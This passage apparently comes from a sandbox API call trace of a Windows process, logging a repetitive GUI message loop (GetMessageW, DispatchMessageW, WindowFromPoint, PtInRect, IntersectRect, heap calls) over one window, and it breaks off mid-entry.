[0147.365] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0147.365] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0147.365] GetCurrentThreadId () returned 0xcd8 [0147.365] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0147.365] PtInRect (lprc=0x30f3d0, pt=0x282) returned 1 [0147.365] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0xfb0282, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0147.366] NtdllDefWindowProc_W () returned 0x0 [0147.366] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0147.366] GetCurrentThreadId () returned 0xcd8 [0147.366] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0147.499] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0147.499] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0147.499] GetCapture () returned 0x0 [0147.499] WindowFromPoint (Point=0x339) returned 0x60018 [0147.499] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.499] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0147.499] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0147.499] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0147.499] GetCurrentThreadId () returned 0xcd8 [0147.499] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0147.821] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0147.821] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0147.821] GetCapture () returned 0x0 [0147.821] WindowFromPoint (Point=0x339) returned 0x60018 [0147.821] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.821] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0147.821] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0147.821] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0147.821] GetCurrentThreadId () returned 0xcd8 [0147.822] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0148.123] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0148.123] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0148.123] GetCapture () returned 0x0 [0148.123] WindowFromPoint (Point=0x339) returned 0x60018 [0148.123] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0148.123] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0148.123] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0148.123] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0148.123] GetCurrentThreadId () returned 0xcd8 [0148.123] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0148.442] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0148.442] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0148.442] GetCapture () returned 0x0 [0148.442] WindowFromPoint (Point=0x339) returned 0x60018 [0148.442] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0148.442] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0148.442] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0148.442] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0148.442] GetCurrentThreadId () returned 0xcd8 [0148.442] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0148.747] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0148.747] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0148.747] GetCapture () returned 0x0 [0148.747] WindowFromPoint (Point=0x339) returned 0x60018 [0148.747] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0148.747] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0148.747] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0148.747] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0148.747] GetCurrentThreadId () returned 0xcd8 [0148.747] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0149.060] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0149.060] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0149.060] GetCapture () returned 0x0 [0149.060] WindowFromPoint (Point=0x339) returned 0x60018 [0149.060] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0149.060] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0149.060] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0149.060] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0149.060] GetCurrentThreadId () returned 0xcd8 [0149.060] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0149.373] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0149.373] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0149.373] GetCapture () returned 0x0 [0149.373] WindowFromPoint (Point=0x339) returned 0x60018 [0149.373] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0149.373] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0149.373] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0149.373] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0149.373] GetCurrentThreadId () returned 0xcd8 [0149.373] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0149.685] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0149.685] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0149.685] GetCapture () returned 0x0 [0149.685] WindowFromPoint (Point=0x339) returned 0x60018 [0149.685] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0149.685] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0149.685] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0149.685] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0149.685] GetCurrentThreadId () returned 0xcd8 [0149.685] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0150.051] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0150.052] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0150.052] GetCapture () returned 0x0 [0150.052] WindowFromPoint (Point=0x339) returned 0x60018 [0150.054] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0150.054] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0150.054] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0150.054] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0150.054] GetCurrentThreadId () returned 0xcd8 [0150.054] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0150.335] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0150.335] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0150.335] GetCapture () returned 0x0 [0150.335] WindowFromPoint (Point=0x339) returned 0x60018 [0150.335] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0150.335] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0150.335] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0150.335] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0150.335] GetCurrentThreadId () returned 0xcd8 [0150.335] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0150.660] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0150.661] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0150.661] GetCapture () returned 0x0 [0150.661] WindowFromPoint (Point=0x339) returned 0x60018 [0150.661] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0150.661] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0150.661] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0150.661] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0150.661] GetCurrentThreadId () returned 0xcd8 [0150.661] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0150.972] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0150.972] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0150.973] GetCapture () returned 0x0 [0150.973] WindowFromPoint (Point=0x339) returned 0x60018 [0150.973] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0150.973] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0150.973] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0150.973] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0150.973] GetCurrentThreadId () returned 0xcd8 [0150.973] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0151.284] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0151.284] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0151.284] GetCapture () returned 0x0 [0151.284] WindowFromPoint (Point=0x339) returned 0x60018 [0151.284] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0151.284] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0151.284] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0151.284] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0151.285] GetCurrentThreadId () returned 0xcd8 [0151.285] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0151.597] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0151.597] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0151.597] GetCapture () returned 0x0 [0151.597] WindowFromPoint (Point=0x339) returned 0x60018 [0151.597] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0151.597] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0151.597] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0151.597] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0151.597] GetCurrentThreadId () returned 0xcd8 [0151.597] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0151.923] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0151.923] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0151.923] GetCapture () returned 0x0 [0151.923] WindowFromPoint (Point=0x339) returned 0x60018 [0151.923] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0151.923] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0151.923] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0151.923] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0151.924] GetCurrentThreadId () returned 0xcd8 [0151.924] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0152.220] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0152.220] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0152.220] GetCapture () returned 0x0 [0152.220] WindowFromPoint (Point=0x339) returned 0x60018 [0152.220] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0152.220] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0152.220] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0152.220] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0152.220] GetCurrentThreadId () returned 0xcd8 [0152.220] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0152.532] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0152.532] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0152.532] GetCapture () returned 0x0 [0152.532] WindowFromPoint (Point=0x339) returned 0x60018 [0152.532] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0152.532] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0152.532] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0152.532] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0152.532] GetCurrentThreadId () returned 0xcd8 [0152.532] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0152.845] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0152.845] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0152.845] GetCapture () returned 0x0 [0152.845] WindowFromPoint (Point=0x339) returned 0x60018 [0152.845] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0152.845] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0152.845] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0152.845] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0152.845] GetCurrentThreadId () returned 0xcd8 [0152.845] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0153.156] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0153.156] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0153.156] GetCapture () returned 0x0 [0153.156] WindowFromPoint (Point=0x339) returned 0x60018 [0153.156] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0153.156] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0153.156] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0153.156] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0153.156] GetCurrentThreadId () returned 0xcd8 [0153.156] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0153.468] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0153.468] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0153.468] GetCapture () returned 0x0 [0153.468] WindowFromPoint (Point=0x339) returned 0x60018 [0153.468] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0153.468] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0153.468] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0153.468] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0153.468] GetCurrentThreadId () returned 0xcd8 [0153.468] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0153.480] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0153.480] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0153.480] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0153.480] PtInRect (lprc=0x30f570, pt=0x282) returned 1 [0153.480] GetCurrentThreadId () returned 0xcd8 [0153.480] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0153.480] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0153.480] GetMessageTime () returned 281613 [0153.480] GetMessagePos () returned 0x1c80339 [0153.480] GetCapture () returned 0x0 [0153.481] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0153.481] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0153.481] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0153.481] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0153.481] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0153.481] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0153.481] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0153.481] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0153.481] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0153.481] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0153.481] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0153.481] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0153.481] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0153.481] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0153.481] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0153.481] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0153.481] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0153.481] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0153.481] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0153.481] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0153.481] PtInRect (lprc=0x30f348, pt=0x282) returned 1 [0153.482] PtInRect (lprc=0x30f1ec, pt=0xfa32) returned 1 [0153.482] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0153.482] GetCursor () returned 0x10003 [0153.482] GetCurrentThreadId () returned 0xcd8 [0153.482] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0153.482] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0153.482] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0153.482] GetMessageTime () returned 281613 [0153.482] GetMessagePos () returned 0x1c80339 [0153.482] GetCapture () returned 0x0 [0153.482] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0153.482] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0153.482] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0153.482] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0153.482] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0153.482] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0153.482] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0153.482] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0153.482] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0153.482] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0153.482] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0153.482] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0153.483] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0153.483] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0153.483] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0153.483] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0153.483] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0153.483] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0153.483] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0153.483] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0153.483] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0153.483] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0153.484] GetCurrentThreadId () returned 0xcd8 [0153.484] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0153.484] PtInRect (lprc=0x30f3d0, pt=0x282) returned 1 [0153.484] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0xfb0282, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0153.484] NtdllDefWindowProc_W () returned 0x0 [0153.484] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0153.484] GetCurrentThreadId () returned 0xcd8 [0153.484] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0153.780] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0153.780] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0153.780] GetCapture () returned 0x0 [0153.780] WindowFromPoint (Point=0x339) returned 0x60018 [0153.780] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0153.780] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0153.781] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0153.781] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0153.781] GetCurrentThreadId () returned 0xcd8 [0153.781] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0154.094] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0154.094] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0154.094] GetCapture () returned 0x0 [0154.094] WindowFromPoint (Point=0x339) returned 0x60018 [0154.094] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0154.094] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0154.094] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0154.095] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0154.095] GetCurrentThreadId () returned 0xcd8 [0154.095] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0154.209] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0154.209] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0154.209] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0154.209] PtInRect (lprc=0x30f570, pt=0x282) returned 1 [0154.209] GetCurrentThreadId () returned 0xcd8 [0154.209] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0154.209] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0154.210] GetMessageTime () returned 282237 [0154.210] GetMessagePos () returned 0x1c80339 [0154.210] GetCapture () returned 0x0 [0154.210] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0154.210] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0154.210] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0154.210] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0154.210] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0154.210] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0154.210] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0154.210] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, 